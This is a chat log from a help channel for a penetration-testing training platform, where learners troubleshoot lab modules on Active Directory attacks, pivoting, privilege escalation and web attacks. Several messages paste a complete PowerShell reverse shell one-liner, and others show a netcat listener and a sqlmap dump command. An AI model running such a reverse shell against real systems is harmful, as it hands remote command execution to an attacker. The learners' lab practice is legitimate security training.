I've even gone through and input all the data types i can remember to try and identify... but I still cant seem to get it. Any general guidance would be highly beneficial! Still trying to figure this all out

ancient niche
fiery berry
stark jacinth
harsh gorge
gray yacht
shut vapor
#

oh, apologies, I see someone else offered help

knotty hamlet
gloomy stump
#

Can I have a hint on Directory Fuzzing (Modul: Attacking Web Applications with Ffuf)?

gloomy stump
#

oh got it 🙂

weak crescent
#

~~Hey everyone, sorry to bother but could I get a little nudge on these two questions in Windows Privilege Escalation - Pentest in a Nutshell? I feel like I already have all the info I need, with access to the script and some other info being laid out, I'm just wondering if it is purely a wording issue on my end or if I am missing the scope of the question entirely. Thank you all :)

(feel free to dm, appreciated even!)~~

EDIT: managed to solve it, but I would politely ask for better phrasing in these two questions, I spent a while just writing synonyms. Regardless, thank you for the entire team for this awesome community and platform, and hope everyone has an awesome day! :)

storm elk
#

Did you get to do this on pwnbox / a vm? Can’t seem to run genymotion on pwnbox

acoustic thorn
#

Running a .exe from evil-winrm atm. Does anyone know how to view the .exe's window without RDP access?

cloud urchin
#

You can't

#

evil-winrm doesn't have a gui

acoustic thorn
#

I figured but there's no work around ig?

#

That's frustrating thanks

coral crest
bright coral
coral crest
bright coral
coral crest
#

it is supposed to show exactly the value you used as test, and show as result in the page confirming it can be poisoned and then proceed with other steps

#

the fact that it is not working as shown in the exercise, just wanted to be sure this wont affect the exam

bright coral
#

There are not really 4 steps. There are just 2. You poison the session file and you include the session file.

elder hearth
#

ADCS Attacks > Certifried > I can reproduce the attack up to the certipy auth command. Then its always a timeout. Any help would be appreciated

narrow plover
#

Shells & Payloads - Live engagement > can't find a way to access the manage page for the 1st host ip: 172.16.1.11:8080. Am i supposed to configure the Tor browser settings properly in the xfreerdp session? Can't seem to access the page on my VM

round marten
#

I'm not surprised by this given the nature of exchange, but glad to see i'm not the only one

gray yacht
round marten
#

Yeah maybe I just need to reset a bit more often and deal with waiting

fathom pendant
gray yacht
round marten
#

I was getting Powershell out of memory errors running PowerView commands, it's probably a good sign

topaz vessel
#

Ohh

narrow plover
waxen totem
#

Have you tried: checking command history? 👀

#

also you'd need to zip the folder to transport everything inside it

#

otherwise you'd have to grab each file within the folder individually

candid vine
#

i think that i need first mut a password list with will user and use hydra to peform a bruteforce in ftp (or ssh) to find a password like how i do to found kira password... i'm correct?

cloud urchin
#

That's a folder not a file, hence the different color. You can transfer folders with scp.

#

command looks good. it says permission denied. probably kira doesn't have access to will's folder.

#

Also going to delete your post, please make sure not to post content from modules above tier 0

candid vine
#

ok no problem, my bad

fathom pendant
#

iirc his password isn't in the mut list

#

it's found in one of the methods displayed from that section

ancient yacht
#

Figured it out. I couldn't find a way to sign the myapp.apk in Android Studio so I used apksigner.... I'll let you figure that part out.

azure oar
#

Hey I am doing the AD enumeration and attacks skill assessment and I am having a problem getting powerview to work on the first host. I have an established a meterpreter shell where I used the shell command followed by PowerShell.exe, but when I import the powerview module the cmdlets return an error. I am certain it’s the right binary and thought maybe it was the meterpreter shell so I connected using evil-winrm but that did not fix it

round marten
slender robin
#

Does anyone know anyway to get free cubes

dark hedge
#

last season, cubes were a reward

#

referrals also reward cubes i believe

slender robin
#

okay tks

waxen crag
#

Hello everyone. Given that this is my first message, is nice to be here with you. I hope that someone can help me :).

I am right now at the lesson Repeating Requests under the. module Using Web Proxies. There is an activity to do to find out the sencond flag using Burp. I can navigate into all the destination server folders modifying the responses in Burp, and even using commands like "find", there is no way to find out the second file "flag.txt". Of course I have search *fl, *.txt, and many other options together with find command and of course searching in all subdirectories.

Any suggestion about how to get the second flag?

sand sedge
mellow rapids
#

Hi everyone. Quick question, I am doing the Cross Site Scripting XSS Module but in the Phishing section I cannot get the listening port to work with | php -S 0.0.0.0:80

#

Any tips?

flint ore
#

Hi, can something tell me how you got the second flag on Skill Assessment Active Directory Trusts Attacks module?
I have tried doing a SID History Injection with a replacement SID for the HR_Management group, but this unfortunately doesn't work and I've been trying to debug this for the second day now, but nothing works

mellow rapids
#

I did netstat -tuln but did not see the ip and port there

shut vapor
#

but either way, if port 80 is in use what are your options?

mellow rapids
#

Options will be to change the port to one that is not listening or being used. I did php -S 0.0.0.0:8080 it worked but did not listen when requested the url. Not sure why I am doing wrong.

shut vapor
#

well, 0.0.0.0 means all interfaces, so if port 80 is being used anywhere else, you won't be able to use port 80 at all. Your first one should work, a different port.

shut vapor
mellow rapids
#

That has put me on paused for a week now. Keep going at it but sadly still stock. Even tried using google dorks for references

elder hearth
#

Can anyone give a hint on the last question of ADCS Attack Skills Assessment?

snow gazelle
#

Which word list should I use to get the result in this exercise: "Use Burp Intruder to fuzz for '.html' files under the /admin directory, to find a file containing the flag." I'm using ZAP instead of Burp for obvious reasons, but after trying big.txt or common.txt I didn't get any good results.

snow shell
#

does anyone have any useful documentation or resources on the basic steps to go about pentesting?. I just started the Pentesting job path and am struggling to find the flag for the public exploits section. i find the infomation in the modules is very good but im gettin bit stuck of putting some steps toghether and finding some steps are missing that i need to understand fully.

shut vapor
#

I can't say which you should use, but I'd be surprised if at least one of those didn't work.

snow gazelle
shut vapor
dark hedge
#

forgot what it's called but there is one of them that has a name like directory-list-1.0

#

the smallest one is big enough

snow gazelle
#

okay, I'll try that

shut vapor
#

large can be overkill, but I looked at the directory, the ones I like are raft-[small|medium|large]-[files|directories|words].txt directory-list-1.0 in there too.

bronze lodge
#

Will the HTB Penetration Tester path's content be revised soon?

snow gazelle
calm abyss
#

i need help with Exploiting SQLi via WebSockets

night scarab
#

good afternoon, can anyone tell me why the cubes in the academy come out in negative, -182 cubes.

dark hedge
#

what. negative cubes?

night scarab
#

yes

dark hedge
#

can you send a screencap

night scarab
dark hedge
#

wtf?

compact patrolBOT
dark hedge
#

ask support i have no clue

vernal tapir
#

SQLMap Essentials > Building Attacks > Attack Tuning

  • Question: What's the contents of table flag5? (Case #5)
  • Command Craft: sqlmap -u 'http://redactedip.com/case5.php?id=1' --level=5 --risk=3 -T flag5 --technique B --dump --batch -v 3 --no-cast

Having an issue getting the proper flag, I have found another one replacing it with "muc!_..." but still no go. Any idea what I'm messing up on?

#

The hint says to run the command a few times to ensure it's correct, I've ran it and no longer getting anything different then what I've got

jolly raptor
#

currently doing the Shells and Payloads module on the bind shell part, i’ve created a bind shell on the target and i’ve connected on my attack host, however i can’t change directory or anything once in the bind shell to get the flag? if i input the directory its located it just doesn’t do anything

vernal tapir
#

Do you have my module complete? I'll look at my notes for ya

jolly raptor
#

don’t worry my mistake, was missing a part of the command at the end

vernal tapir
#

No problem

#

I'm around if you need any more help for a bit

jolly raptor
#

appreciate it anyways 🙂

#

Thank you 🙂

vernal tapir
jolly raptor
#

I have not - i’m currently like 28% through CPTS

vernal tapir
#

Goodluck with your journey 🙂 I took a break at 60% and went to the Skill Paths for a bit

#

It gets hard at AD & Enumeration I'd say

gray yacht
junior dawn
#

I'm new to hack the box. I'm having a heck of a time getting the shell to accept my password. Sometimes I can get in and sometimes I can't. I don't see anywhere where it says the password might change from time to time. I'm working on the inro to the cmd line module, so very basic stuff. I don't understand why the instance will not accept my password. Can anyone help? Also, because I am at the intro course, and I can't seem to get the instance to accept my password, as a consequence I can't figure out if were supposed to be running the command as we go thru the course. For example, like on the powershell section are we supposed to install the AD module as we move along?

silent basin
#

Looking for help on Footprinting, DNS section, Q4 finding host with last octet .203. Been at it for 2 days. Different word lists, dig switches, and dnseum… I’m lost. Anyone got help beyond “dig deeper” or “different word list?”

delicate zenith
delicate zenith
# silent basin Looking for help on Footprinting, DNS section, Q4 finding host with last octet ....

also do a search on this forum for a lot of the module questions. I have found it also helpful.
https://forum.hackthebox.com/t/what-is-the-fqdn-of-the-host-where-the-last-octet-ends-with-x-x-x-203-i-dont-know-what-do-anymore/273242
if that link doesn't help also do a searh for dns .203 etc check each post and replies

regal sapphire
#

Hello everyone

#

Hi

thorny kraken
grave marsh
#

hi currently doing the network enumeration with nmap module, Firewall and IDS/IPS Evasion - Easy Lab

And I have found the flag but when I paste it in, it does not seem to accept it. It is the typical HTB{key blah blah} and for some reason htb doesnt like it?

Can anyone help or should I restart the target?

regal sapphire
#

As the person who just opened and started reading the very first module i can not help you

thorny kraken
grave marsh
#

omg i didnt even read the question lol im assuming i found the harder answers mb lol

thorny kraken
#

Hahah thought so

regal sapphire
#

Wait lab difficulty is based upon luck

delicate zenith
#

no but some of the questions are harder in the same lab. step 1 ssh to this box. get flag. then sql to this get flag... you find the sql flag thinking it is the one for the ssh

bright shore
#

Anyone else having issues with logrotten section on Linux Priv Esc

#

pain in the ass I saw this for a millisecond: └──╼ [★]$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.15.225] from (UNKNOWN) [10.129.79.6] 42534
root@ubuntu:~# and then it closed quickly. now everytime I run the command, it never works again....

delicate zenith
#

my box for reverse shell is done. can't even ping it anymore. tried refresh .. ;-/

bright shore
#

same don't work

silent basin
delicate zenith
#

Can anyone help guide me on the reverse shell lab?
I rdp to the desktop of the windows box. Disabled anti-virus.
copy pasted the command into powershell (admin) and (non-admin) and it throws a syntax error.

#

not asking for help on the lab. just wondering why if it is directly from the lab as a command it is throwing a syntax error.

soft reef
delicate zenith
# soft reef Can you show how you input the command?

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.15.43',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = (

#

that was copy and pasted directly from the lab.

#

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

soft reef
#

First one missed a part yes. The second one should work.

delicate zenith
#

just repasted and verified it had full paste. still got same error. like it is missing a " or a ' somewhere.

soft reef
#

Which module is and section?

delicate zenith
#

here is a copy from the screen with full command

#

I also tried the 3 listed as reverse shell cheat sheet under powershell that was referenced in the lab.
swisskyrepo.github.io

#

ok

#

tried c:\users\public (current directory)

#

same error

fiery berry
delicate zenith
#

ugh.. ok will try that

#

that worked. ran from cmd

#

so trying to understand if it is a powershell command. shouldn't I have been able to remove the "powershell" part and then run it in powershell directly?

soft reef
#

its still powershell, your command start with powershell meaning it will run in powershell

delicate zenith
#

yea but when I ran it in powershell putting in the command it flagged the error. it only worked (thank you by the way) in cmd.exe

#

not understanding why it failed in powershell if it is a powershell command

soft reef
#

you run powershell in cmd.exe

delicate zenith
#

what if I took out the word powershell and ran the rest of the command in powershell cli? why would it fail then?

#

and thank you very much for that help. was bashing my head on this all day.

leaden island
#

Yo guys somebud help

#

Im on password attacks

#

Linux pass the ticket thing

#

I cant connect the pwnbox to the AD network

quasi wave
#

I can't connect to the server via SSH from my VM. This is for the SOCKS5 Tunneling with Chisel section of Pivoting, Tunneling, and Port Forwarding module:

──(kali㉿kali)-[~/chisel]
└─$ scp chisel ubuntu@10.129.91.21:~/               
ssh: connect to host 10.129.91.21 port 22: No route to host
scp: Connection closed
                                                                                                                                                                                            
┌──(kali㉿kali)-[~/chisel]
└─$ scp chisel ubuntu@10.129.91.21   
                                                                                                                                                                                            
┌──(kali㉿kali)-[~/chisel]
└─$ ssh ubuntu@10.129.91.21       
ssh: connect to host 10.129.91.21 port 22: No route to host

Hopefully this doesn't spoil too much. I downloaded the recommended VPN file.

leaden island
leaden island
soft reef
# delicate zenith what if I took out the word powershell and ran the rest of the command in powers...

No but here its used with -nop. You can always let chatgpt fix syntax, so it will work

powershell -nop -c "`$client = New-Object System.Net.Sockets.TCPClient('10.10.14.169',443);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()"
leaden island
#

Mine is optional question so maybe i can just sadglas

quasi wave
leaden island
#

But what if similar situation happens during cpts Kappa

quasi wave
leaden island
#

I meant

#

If i skipped this thing and didnt learn the skill

#

2 full days on 1 section come ooooon

quasi wave
leaden island
#

Coooorect

quasi wave
#

right ok

leaden island
#

So whos gonna help us now

quasi wave
#

I mean I know a guy who was helping me on the section I'm on

#

I can ask if he can help you too

leaden island
#

I wish so

#

Ive been 2 days stuck on this

soft reef
#

I can help, its pivotting?

leaden island
#

(not this particular problem but on section in general)

leaden island
soft reef
#

Okay dm?

leaden island
#

Ive chisel connected to my attack host

#

Ok

vapid drum
#

Hey I need some help with an account issue caused by the merge/SSO thing. I no longer have access to any of the modules I paid for and I've lost basically everything lol. Who can I talk to?

compact patrolBOT
quasi wave
#

ok so now I can connect to the ssh server and upload the file but it won't let me run the hacking tool it tells me to run on the SSH server. like the instructions to build it won't work. can someone help me with this? This is for SOCKS5 Tunneling with Chisel section of Pivoting, Tunneling, and Port Forwarding module

#

I tried the version of chisel used in the instructions and it didn't work. I tried a different version of chisel it still didn't work.

#
ubuntu@WEB01:~/chisel-1.10.1$ ls
build  client  example  go.mod  go.sum  LICENSE  main.go  Makefile  README.md  server  share  test
ubuntu@WEB01:~/chisel-1.10.1$ cd ..
ubuntu@WEB01:~$ ls
chisel-1.10.1  chisel_1.10.1_linux_386.deb  chisel-1.10.1.tar.gz  chisel-1.10.1.zip
ubuntu@WEB01:~$ cd chisel-1.10.1/
ubuntu@WEB01:~/chisel-1.10.1$ ls
build  client  example  go.mod  go.sum  LICENSE  main.go  Makefile  README.md  server  share  test
ubuntu@WEB01:~/chisel-1.10.1$ cd ..
ubuntu@WEB01:~$ ./main.go
-bash: ./main.go: No such file or directory
ubuntu@WEB01:~$ cd chisel-1.10.1/
ubuntu@WEB01:~/chisel-1.10.1$ ls
build  client  example  go.mod  go.sum  LICENSE  main.go  Makefile  README.md  server  share  test
ubuntu@WEB01:~/chisel-1.10.1$ ./main.go
-bash: ./main.go: Permission denied
ubuntu@WEB01:~/chisel-1.10.1$ sudo ./main.go
sudo: ./main.go: command not found
ubuntu@WEB01:~/chisel-1.10.1$ chmod +x Makefile
ubuntu@WEB01:~/chisel-1.10.1$ Makefile
Makefile: command not found
dark hedge
#

go build

or

go install github.com/jpillora/chisel@latest

#

the instructions for building the binary are in the section.

quasi wave
#

but someone else is helping me so I'll try what your saying again after I see if what they tell me works

vapid drum
# dark hedge you can talk to support

customerops@hackthebox right? Sent an email but wanted to make sure that was correct.

Just hoping that all the stuff I paid for isn't lost forever since I've been paying for awhile and was working on my CPTS track

dark hedge
vapid drum
quasi wave
#

ok I completed the section

frail jasper
#

Anyone completed Android Static analysis? need help

frail jasper
lament hound
#

Hi everyone. Question on the lab for Active Directory Enumeration & Attacks Kerberoasting - from Windows. I keep getting an empty file when trying to create the hashcat file.
I did the following:

  1. Prepared the Base64 for cracking (echo "<base64 blob>" | tr -d \n )
    I was able to place the output into a kirbi file from (cat encoded_file | base64 -d > vmware.kirbi)
    But when I'm extracting the ticket using the kirbi2john.py from "https://raw.githubusercontent.com/nidem/kerberoast/907bf234745fe907cf85f3fd916d1c14ab9d65c0/kirbi2john.py", the crack_file is blank.
    I'm trying to replicate, but now when I'm running cat hash2 | base64 --decode > vmware.kirbi, I get a "base64: invalid input" error
solid escarp
#

Are you doing escaping the \n in your tr command?

echo <base64 blob> | tr -d \\n

#

Make sure you don't accidentally have a line feed in the encoded_file from when you pasted into the file from your output.

lament hound
#

Yes. I use the double quotes right?

#

I haven't tried without the quotes yet

solid escarp
#

Without quotes will work if you are escaping with the double backslash

\\n will work

"\n" will work

robust nebula
#

Hey, did someone finished the skill assessment in the module "Lateral Movement"? I think there is an issue with the lab at the second last flag

gray yacht
lament hound
gray yacht
lament hound
gray yacht
solid escarp
#

Yeah on my pc kirbi2john just outputs the result.

lament hound
gray yacht
#

If that prints the output, try to simply copy/paste the output into a file, call it crack_file if you want and first try it with hashcat, as i believe it might already be formatted. If not, follow the section guidance on using sed, then try it again with hashcat.

#

If none of that works, I'll check it out when I'm on my pc later.

lament hound
#

Here's where I'm currently at

solid escarp
#

I think he means just
kirbi2john no .py

lament hound
#

Excelsior!

#

That worked. Was racking my brain for hours. MAny thanks!

#

The crack_file is still showing up as 0 bytes. Can I just use the output from kirbi2john?

solid escarp
#

Did you get output in your terminal after the kirbi2john?

#

You'd put that data into crack_file then run sed against it

lament hound
#

I was able to successfully crack it. Ok. I didn't put the data in the crack_file though. I didn't think to do that

solid escarp
#

I guess format was already good 👍

That sed command just makes sure the output hash from kirbi2john.py is formatted for hashcat.

I haven't used the Python tool. I just have the pre installed one on my parrot box

acoustic thorn
#

Quick sanity check: after dumping ntds which hashcat modes would you use to crack these hash verisons? aes256-cts-hmac-sha1-96, aes128-cts-hmac-sha1-96, des-cbc-md5. I'm 99% sure I'm using the correct modules but would like to be sure

solid escarp
#

I think maybe 19600 and 18200?

lament hound
acoustic thorn
solid escarp
#

I switched from Kali a couple years ago.

I've liked parrot so far and I have no real reason to go back to Kali. I feel like Kali does have more tools out of the box.

I have my parrot setup with everything I need so I don't really feel like switching now haha. Especially over the years adding more tools. I also started using Ansible to easily setup my VMs (thank you ippsec)

#

I got a a question too.

So I am currently doing some review before CAPE and noticed something that confused me in the ADCS Attacks module.

In the PKINIT section, under "RBCD - Attacking using passTheCert" why is the module saying that we are requesting the Administrator TGT?

To me it looks like we used passTheCert to add our computer on our target's AllowedToActOnBehalfOfOtherIdentity property so we can use RBCD and S4U2Proxy to request a cifs service ticket impersonating the Administrator for the target. Not requesting the Admin's TGT. Right?

lament hound
solid escarp
#

I'm going to reread the section I must be missing something

solid escarp
#

Yeah I worked through the question again doing RBCD and got a cifs service ticket. Not a TGT.

We only get a TGT for our machine account so we can do S4U2Proxy and request a service ticket impersonating administrator.

next osprey
#

just want to make sure i'm not hallucinating after doing the AD modules... ExtraSIDs and SIDHistory Injection are 2 completely different attacks right? their only similarity is they both involve account's SID history attribute?

#

ExtraSIDs is achieve by assigning arbitrary SIDs while forging a golden ticket in a parent domain

#

SIDHistory Injection where is about assigning an unresolvable SID of a deleted user to a different account's SIDHistory thereby impersonating the ACLs of the unresolved SIDs?

cloud urchin
#

They are totally separate attacks. They do not both involve the SID history attribute. ExtraSIDs abuses the extraSIDs field in a Kerberos ticket while SIDHistory Injection abuses the SIDHistory LDAP attribute in AD.

cloud urchin
#

@ionic crater Please take care not to post spoilers from modules above tier 0, especially skill assessments.

ionic crater
hardy spire
#

im writing report for AEN, i got a question, in host & service discovery section which way is more preferable?

cloud urchin
hardy spire
safe star
#

can make it look exactly the same

hardy spire
#

damn thanks, this looks interesting

wooden seal
#

is drupalgeddon3 removed from msfconsole?

modest wren
#

can anyone help me with the "Web Attacks - Skills Assessment" i tried everything now

modest wren
#

to find the /flag.php

acoustic egret
#

hi can anybody please help me im stuck at it since 4 days idk what to do,,, im not able to access student offer of 8$ i tried everything i even submitted a ticket yet i have no idea now what to do can somebody please help me

modest wren
wooden seal
tropic pollen
#

anyone?

charred ice
#

What's the difference between one-server and client server? The diagrams look the same and the description doesn't seem to differentiate/state a lot about them. I have a good knowledge regarding webapps in general

https://academy.hackthebox.com/module/75/section/751

stone zephyr
#

password mutation module is a bit weird, why direct people to brute force a specific port but then have the answers point to directing the brute force over an alternative service. seems a bit dumb

#

also putting the correct 'guess' over 9000 entries into a generated wordlist on a brute force limited to 120ish guesses a min is diabolical work

rocky pollen
#

isnt inode the same as index number??

#

somehow the system said my answer is wrong

rustic sage
thorny kraken
#

I dont know if it makes a difference but i didnt "stat /etc/sudoers"

brave scroll
#

Windows Privilege Escalation Skills Assessment - Part I
Can anyone tell me where i am makng mistake

#

nc.exe giving shell back when run normally, but when run with "juicypotato" it's not giving any response.

rocky pollen
rocky pollen
rocky pollen
gray yacht
rustic sage
rocky pollen
west iris
#

where do i find step by step instructions for the academy thats not locked behind a paywall?

rustic sage
thorny kraken
thorny kraken
west iris
#

ok so im paying a monthly sub to use a VM... got it.

rocky pollen
thorny kraken
#

Yes

rocky pollen
rocky pollen
west iris
rustic sage
#

think about that index

thorny kraken
rocky pollen
rocky pollen
thorny kraken
# rocky pollen ah okay!

Good luck, failing that I'm not sure what else to do, maybe contact support.... i dont know if the numbers are the same for you and me but the inode number for me had 6 digits

west iris
# rocky pollen are you referring the VM like this one?

I have been trying to work through the Linux module and I got to the module on using the "find" command and nothing I do returns the information I need for the first question, and the step-by-step walkthrough is reserved those worthy souls that have a yearly subscription not us peasants that pay monthly.

rocky pollen
thorny kraken
#

Or good ol google

west iris
#

ChatGPT couldn''t event figure it out

#

like i said, im paying HTB just to use their VM.

thorny kraken
#

So am i

#

What is the first question? Machine hardware name?

west iris
#

What is the name of the config file that has been created after 2020-03-03 and is smaller than 28k but larger than 25k?

#

Target(s): 10.129.57.134 (ACADEMY-NIXFUND)

gray yacht
# west iris I have been trying to work through the Linux module and I got to the module on u...

I understand your frustration, but complaining about it in here isn't going to change anything. I for one don't have access to step-by-step walk throughs and prefer it that way. I'm not sure which module/section you're working on, but odds are someone else has encountered a similar issue. First keyword searching this channel can help identify previous related questions and potential information that can help you. I'd always start there first.

west iris
charred ice
rustic sage
#

skill issue

gray yacht
west iris
thorny kraken
rustic sage
#

nobody know anything but they try

west iris
waxen totem
#

Also are you running the command while ssh'd into the target?

thorny kraken
#

Also it may be a case of being in the wrong directory

charred ice
west iris
#

and yeah im ssh in

#

i cant post screenshots

waxen totem
thorny kraken
#

Maybe change the . To a /

west iris
rustic sage
#

but / is the entire system

west iris
rustic sage
#

when u do this 2</dev/null this redirects the errors to dev/null

waxen totem
#

Deleted the image cos it contains the answer, try just the file name, not the whole directory.

#

@west iris ^

waxen totem
# west iris thank you

Also for future reference, before asking a question please use the search function to search for similar questions in this channel. Your question has actually been asked a lot

dark hedge
tender nimbus
dark hedge
west iris
#

one quick question before i go, has anyone here actually got a job doing anything in cybersecurity after going through this? i know its off topic, just curious.

thorny kraken
#

I have seen some people get jobs out of this although i dont know them in rl so i cannot confirm or deny

gray yacht
thorny kraken
#

One thing i can say, going through the academy i am definitely learning stuff

west iris
gray yacht
rustic sage
west iris
dark hedge
west iris
dark hedge
#

pretty much. they were more interested in my projects. no reason to care so much about my certs when they show that i can do some things unrelated to the role

west iris
dark hedge
#

helpful to know that certs don't guarantee job offers, they just show that you can do a specific thing. but if a job posting lists it, then it's good to have on your resume

west iris
#

certs with projects to back them = max value

dark hedge
#

they were cyber-related since i am a cyber student, but nothing really tied back to my certs. just had them on there to show that i was learning outside of college

charred ice
#

CSS preview on Web Applications module doesn't seem to load. Is it an issue on my side?

fickle crystal
granite osprey
#

Windows privilege escalation -> Pillaging
Hello, I am stuck at last question. After restoring the files, I have dumped the SAM hashes for local users, including Administrator's, but the answer is not accepted. I've tried different formats (nthash, lmhash:nthash, Administrator:nthash ...) but nothing works.

gray yacht
granite osprey
winged steeple
#

On the Abusing HTTP Misconfigurations Skills Assessment - Hard, I've poisoned the cache and when I visit the page the admin is supposed to visit my js code runs and I get a request to the promote link in burp. So why is the admin not running my code?

zinc halo
#

Hiii guys, im trying to do the Nessus Skills Assessment module, and trying to connect to nessus scan via vpn, but it doesn't seem to reach the host, changed several targets still doesnt work, was wondering if its an issue on the server side? tried to ping it but its not responding either

#

or is it not accessible externally, do i have to do it via pwnbox?

gray yacht
median gale
#

Anyone did the Android Application Static Analysis? Would like to ask some questions on the reading obfs part

zinc halo
#

with the exact same url it worked in my pwnbox but not via vpn(with vpn on)big_think

worldly badger
#

Hey guys. I have the following problem: when i add domain to etc/hosts and try to reach it through browser - i see this page. However when i try to reach domain using curl then everything is good. Why this thing happens when i use browser?

zinc halo
#

that would not resolve that DNS if you modified /etc/hosts

sharp torrent
#

I can't login to academy it thinks i'm a bot, any solution ?

#

I used 2 different browsers.

storm elk
#

Disable adblockers

#

that helped me before

limber fog
#

Hello !
In the Attacking Common Services module, I am doing the FTP part. I started this morning, did the nmap, found the FTP port.
I had to go do something and am now back. I spawn a new target this afternoon, which does not have the FTP port open (port that I identified this morning). I relaunched 2 times the target machine but still the nmap scan indicates that the port is closed.
How can I fix that ?

worldly badger
sharp torrent
#

does anyone know how to login to htb academy without them thinking i'm a bot ? help would be greatly appreciated. I emailed cutomerops@hackthebox.com.

limber fog
#

Already did 😦

glass locust
limber fog
#

I even did -p<port> and it showed as closed

vernal tapir
#

anyone having issues starting up their targets this morning? been trying for a bit now

limber fog
#

I'm trying to spawn a new target but i'm stuck on Target is spawning for the past 15 minutes

vernal tapir
#

lol

limber fog
#

No yeah lol

vernal tapir
#

ok isnt just me

limber fog
glass locust
limber fog
#

So idk :/

glass locust
limber fog
#

Ok thank you still !
I'm gonna go forward with the course and come back later, hopefully these issues will have been fixed by tonight / tomorrow

inland oak
#

anyone that I can ask personally about modules?

tribal linden
#

any one give me a hand with "Android Application Static Analysis " the first task, install the app, luanch it and configure the ip and port. what ip and port number? it doesnt seem to matter what i set them to i still cant Install the app?

rustic sage
#

Anyone else's machines stuck in an infinite "target spawning" loop?

inland oak
#

i searched for a similar question before asking here but couldn’t find the correct answer. Is there anyone I can refer to for help?

vernal tapir
#

I just told Support via the website for anyone with target spawning issues

vernal tapir
inland oak
#

ok

native turtle
#

Active Directory LDAP
anonymous bind section target do not spawn, anyone have same issue?

thorny kraken
#

On different modules though

native turtle
#

not bad for the first day of a platinum subscription 🤣 🤣

tough ibex
#

same :/

raw frost
#

anybody having trouble spawning machines inside the modules?

tough ibex
#

awful experience from HTB Academy lately

raw frost
#

stuck on spawning...

echo roost
#

Active Directory Enumeration & Attacks - Attacking Domain Trusts - Child -> Parent Trusts - from Linux - the command under Grabbing the Domain SID & Attaching to Enterprise Admin's RID doesn't return the parent Domain SID

rustic sage
#

Anyone else having issues with the modules loading?

ionic marten
#

Targets arent spawning for me

rustic sage
#

I’m down here I’m on EST server tried Uk tried Canada

#

Ah I just got a pop

#

Up

#

Issues with targets and boxes

echo roost
#

when you start the target you only get an IP address to one domain controller so you have to basically reuse the Child Domain SID, CHild DOmain SID and get the krbtgt hash.

rustic sage
#

Check academy dash board

raw frost
echo roost
#

I am connected to pwnbox and have a target started but it buggy

rustic sage
#

We all got issues all good

#

I’ll just touch some grass

#

Or imma chill w my side chick THM

wet arrow
#

Hello,
I'm currently working on the File Inclusion module, specifically the Log Poisoning section. However, the machine isn't spawning, and I've been waiting for about two hours. Could you please let me know if there's an issue with this machine?

vernal tapir
pine phoenix
#

Is anyone elses targets not spawning / hanging?

#

or they should make an announcement maybe? SHRUGGERS

vernal tapir
wet arrow
#

Thanks!

foggy snow
lusty stag
#

I'm trying to do the first lab about SSTI, and I've been waiting for the lab to spawn for about 30 mins - does anyone any guidance on troubleshooting techniques?

#

oh, it's already been reported

#

mb

forest zenith
foggy snow
#

Can someone @ me when the issue seems to be revolved? Thanks in advance!

worn aurora
#

Same issue

sharp torrent
#

same issue

stark jacinth
#

Howdy! I need a hint for the last step on the module Windows lateral movement SA. I need the flag on the DC. I can explain what I got so far in a pm. 🙏

glass locust
pine phoenix
stark jacinth
glass locust
foggy snow
pine phoenix
stark jacinth
forest zenith
#

its back babyyyyy @foggy snow

lusty stag
#

It still doesn't seem to be back for me 😭

summer zephyr
lusty stag
#

It's just loaded, but it's taken 20-25 mins to get to this stage.

lusty stag
#

It's loading immediately now

#

yay

summer zephyr
#

what

#

Still loading for me

native turtle
#

spawning target works for me